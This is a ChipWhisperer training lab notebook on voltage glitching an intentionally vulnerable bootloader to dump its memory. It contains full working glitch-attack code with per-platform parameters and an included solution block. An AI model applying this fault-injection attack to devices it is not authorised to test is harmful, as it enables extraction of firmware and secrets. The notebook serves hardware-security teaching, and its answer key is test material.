{
 "cells": [
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "# Part 2, Topic 3: Voltage Glitching to Dump Memory (MAIN)"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "---\n",
    "NOTE: This lab references some (commercial) training material on [ChipWhisperer.io](https://www.ChipWhisperer.io). You can freely execute and use the lab per the open-source license (including using it in your own courses if you distribute similarly), but you must maintain notice about this source location. Consider joining our training course to enjoy the full experience.\n",
    "\n",
    "---"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "**SUMMARY:** *In the previous labs, we learned how voltage glitching can be used for a similar function as clock glitching. We also learned about how it has fewer limitations, but can be less reliable for certain target setups. It also changes a great deal based on the properties of the glitch circuit itself - even changing a wire can have a huge effect.*\n",
    "\n",
    "*In this lab, we'll use what we learned in the last lab to again attack the vulnerable serial printing of the bootloader*\n",
    "\n",
    "**LEARNING OUTCOMES:**\n",
    "\n",
    "* Applying previous glitch settings to new firmware\n",
    "* Checking for success and failure when glitching\n",
    "* Understanding how compiler optimizations can cause devices to behave in strange ways"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "## The Situation\n",
    "\n",
    "You should already know the situation from your previous attempts at glitching this bootloader (as well as what the flaw is). No need to do big long searches for parameters to try glitching at the beginning of the loop, just use values that worked well for the previous tutorial.\n",
    "\n",
    "Be careful that you don't accidentally put the spot we're trying to glitch outside of `glitch_spots` - if you used a repeat > 1, the actual spot being glitched might be at the end or in the middle of the repeat!\n",
    "\n",
    "Like with the clock glitching version of this lab, we'll be using SimpleSerial V2 to speed up glitching"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": null,
   "metadata": {},
   "outputs": [],
   "source": [
    "SCOPETYPE = 'OPENADC'\n",
    "PLATFORM = 'CWLITEARM'\n",
    "SS_VER='SS_VER_2_1'"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": null,
   "metadata": {},
   "outputs": [],
   "source": [
    "%%bash -s \"$PLATFORM\" \"$SS_VER\"\n",
    "cd ../../../firmware/mcu/bootloader-glitch\n",
    "make PLATFORM=$1 CRYPTO_TARGET=NONE -j SS_VER=$2"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": null,
   "metadata": {},
   "outputs": [],
   "source": [
    "%run \"../../Setup_Scripts/Setup_Generic.ipynb\""
   ]
  },
  {
   "cell_type": "code",
   "execution_count": null,
   "metadata": {},
   "outputs": [],
   "source": [
    "fw_path = \"../../../firmware/mcu/bootloader-glitch/bootloader-{}.hex\".format(PLATFORM)"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": null,
   "metadata": {},
   "outputs": [],
   "source": [
    "cw.program_target(scope, prog, fw_path)"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": null,
   "metadata": {},
   "outputs": [],
   "source": [
    "def reboot_flush():            \n",
    "    reset_target(scope)\n",
    "    #Flush garbage too\n",
    "    target.flush()\n",
    "scope.clock.adc_src = \"clkgen_x1\"\n",
    "reboot_flush()\n",
    "scope.adc.samples = 24000"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "Again, we're going to use a higher frequency on non-Husky ChipWhisperers. We'll also use the trigger length to get our `ext_offset` range:"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": null,
   "metadata": {},
   "outputs": [],
   "source": [
    "scope.clock.adc_src = \"clkgen_x1\"\n",
    "def reboot_flush():            \n",
    "    reset_target(scope)\n",
    "    #Flush garbage too\n",
    "    target.flush()\n",
    "    \n",
    "scope.clock.adc_src = \"clkgen_x1\"\n",
    "reboot_flush()\n",
    "scope.adc.samples = 24000\n",
    "\n",
    "if PLATFORM == \"CWLITEXMEGA\":\n",
    "    scope.clock.clkgen_freq = 32E6\n",
    "    if SS_VER=='SS_VER_2_1':\n",
    "        target.baud = 230400*32/7.37\n",
    "    else:\n",
    "        target.baud = 38400*32/7.37\n",
    "elif (PLATFORM == \"CWLITEARM\") or (\"F3\" in PLATFORM):\n",
    "    scope.clock.clkgen_freq = 24E6\n",
    "    if SS_VER=='SS_VER_2_1':\n",
    "        target.baud = 230400*24/7.37\n",
    "    else:\n",
    "        target.baud = 38400*24/7.37\n",
    "\n",
    "reboot_flush()\n",
    "scope.arm()\n",
    "target.write(\"p516261276720736265747267206762206f686c207a76797821\\n\")\n",
    "ret = scope.capture()\n",
    "        \n",
    "trig_count = scope.adc.trig_count\n",
    "\n",
    "print(trig_count)\n",
    "cw.plot(scope.get_last_trace())"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "Like with the clock version of this lab, you'll want to inspect the power trace and glitch near the beginning and end of the loop."
   ]
  },
  {
   "cell_type": "code",
   "execution_count": null,
   "metadata": {},
   "outputs": [],
   "source": [
    "glitch_spots = [i for i in range(1)]\n",
    "# ###################\n",
    "# Add your code here\n",
    "# ###################\n",
    "#raise NotImplementedError(\"Add your code here, and delete this.\")\n",
    "\n",
    "# ###################\n",
    "# START SOLUTION\n",
    "# ###################\n",
    "glitch_spots = list(range(trig_count - 2000, trig_count, 1))\n",
    "if SS_VER == \"SS_VER_2_1\":\n",
    "    glitch_spots = list(range(0, trig_count, 1))\n",
    "elif PLATFORM == \"CW308_SAM4S\":\n",
    "    glitch_spots = list(range(trig_count - 2300, trig_count-1800, 1))\n",
    "elif PLATFORM == \"CWLITEXMEGA\":\n",
    "    glitch_spots = list(range(9500, 9650, 1))\n",
    "# ###################\n",
    "# END SOLUTION\n",
    "# ###################"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": null,
   "metadata": {},
   "outputs": [],
   "source": [
    "if scope._is_husky:\n",
    "    scope.vglitch_setup('hp', default_setup=False)\n",
    "else:\n",
    "    scope.vglitch_setup('both', default_setup=False) # use both transistors\n",
    "\n",
    "def my_print(text):\n",
    "    for ch in text:\n",
    "        if (ord(ch) > 31 and ord(ch) < 127) or ch == \"\\n\": \n",
    "            print(ch, end='')\n",
    "        else:\n",
    "            print(\"0x{:02X}\".format(ord(ch)), end='')\n",
    "        print(\"\", end='')"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": null,
   "metadata": {},
   "outputs": [],
   "source": [
    "gc = cw.GlitchController(groups=[\"success\", \"reset\", \"normal\"], parameters=[\"width\", \"offset\", \"ext_offset\", \"tries\"])\n",
    "gc.display_stats()"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": null,
   "metadata": {},
   "outputs": [],
   "source": [
    "gc.glitch_plot(plotdots={\"success\":\"+g\", \"reset\":\"xr\", \"normal\":None}, x_index=\"width\", y_index=\"ext_offset\")"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": null,
   "metadata": {},
   "outputs": [],
   "source": [
    "if scope._is_husky:\n",
    "    gc.set_range(\"width\", 1850, 1901)\n",
    "    gc.set_range(\"offset\", 2000, 2300)\n",
    "    gc.set_global_step([50])\n",
    "else:\n",
    "    gc.set_global_step(0.4)\n",
    "    if PLATFORM == \"CWLITEXMEGA\":\n",
    "        gc.set_range(\"width\", 46, 49.8)\n",
    "        gc.set_range(\"offset\", -46, -49.8)\n",
    "        scope.glitch.repeat = 11\n",
    "    elif PLATFORM == \"CW308_STM32F4\":\n",
    "        gc.set_range(\"width\", 0.4, 10)\n",
    "        gc.set_range(\"offset\", 40, 49.8)\n",
    "        scope.glitch.repeat = 5\n",
    "    elif PLATFORM == \"CWLITEARM\":\n",
    "        gc.set_range(\"width\", 34, 36)\n",
    "        gc.set_range(\"offset\", -40, 10)\n",
    "        scope.glitch.repeat = 7\n",
    "\n",
    "gc.set_range(\"tries\", 1, 1) # change this if you want to glitch each spot multiple times\n",
    "gc.set_range(\"ext_offset\", glitch_spots[0], glitch_spots[-1])\n",
    "gc.set_step(\"ext_offset\", glitch_spots[1] - glitch_spots[0])\n",
    "gc.set_step(\"tries\", 1)"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": null,
   "metadata": {},
   "outputs": [],
   "source": [
    "#disable logging\n",
    "cw.set_all_log_levels(cw.logging.CRITICAL)\n",
    "scope.adc.timeout = 0.2\n",
    "\n",
    "broken = False\n",
    "for glitch_setting in gc.glitch_values():\n",
    "    scope.glitch.offset = glitch_setting[1]\n",
    "    scope.glitch.width = glitch_setting[0]\n",
    "    if broken:\n",
    "        break\n",
    "    scope.glitch.ext_offset = glitch_setting[2]\n",
    "    if scope.adc.state:\n",
    "        #print(\"Timeout, trigger still high!\")\n",
    "        gc.add(\"reset\")\n",
    "\n",
    "        #Device is slow to boot?\n",
    "        reboot_flush()\n",
    "    target.flush()\n",
    "    scope.arm()\n",
    "    target.write(\"p516261276720736265747267206762206f686c207a76797821\\n\")\n",
    "    ret = scope.capture()\n",
    "    if ret:\n",
    "        #print('Timeout - no trigger')\n",
    "        gc.add(\"reset\")\n",
    "\n",
    "        #Device is slow to boot?\n",
    "        reboot_flush()\n",
    "    else:\n",
    "        time.sleep(0.05)\n",
    "        output = target.read(timeout=2)\n",
    "        if \"767\" in output:\n",
    "            print(\"Glitched!\\n\\tExt offset: {}\\n\\tOffset: {}\\n\\tWidth: {}\".format(scope.glitch.ext_offset, scope.glitch.offset, scope.glitch.width))\n",
    "            gc.add(\"success\")\n",
    "            broken = True \n",
    "            for __ in range(500):\n",
    "                num_char = target.in_waiting()\n",
    "                if num_char:\n",
    "                    my_print(output)\n",
    "                    output = target.read(timeout=50)\n",
    "            time.sleep(1)\n",
    "            break\n",
    "        else:\n",
    "            gc.add(\"normal\")\n",
    "                \n",
    "#reenable logging\n",
    "cw.set_all_log_levels(cw.logging.WARNING)"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": null,
   "metadata": {},
   "outputs": [],
   "source": [
    "scope.dis()\n",
    "target.dis()"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": null,
   "metadata": {},
   "outputs": [],
   "source": [
    "assert broken == True"
   ]
  }
 ],
 "metadata": {
  "kernelspec": {
   "display_name": "Python 3 (ipykernel)",
   "language": "python",
   "name": "python3"
  },
  "language_info": {
   "codemirror_mode": {
    "name": "ipython",
    "version": 3
   },
   "file_extension": ".py",
   "mimetype": "text/x-python",
   "name": "python",
   "nbconvert_exporter": "python",
   "pygments_lexer": "ipython3",
   "version": "3.9.5"
  }
 },
 "nbformat": 4,
 "nbformat_minor": 4
}
